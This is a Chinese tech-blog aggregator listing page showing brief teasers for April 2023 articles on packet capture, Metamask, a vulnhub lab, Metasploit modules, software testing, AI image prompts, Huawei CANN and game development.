    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more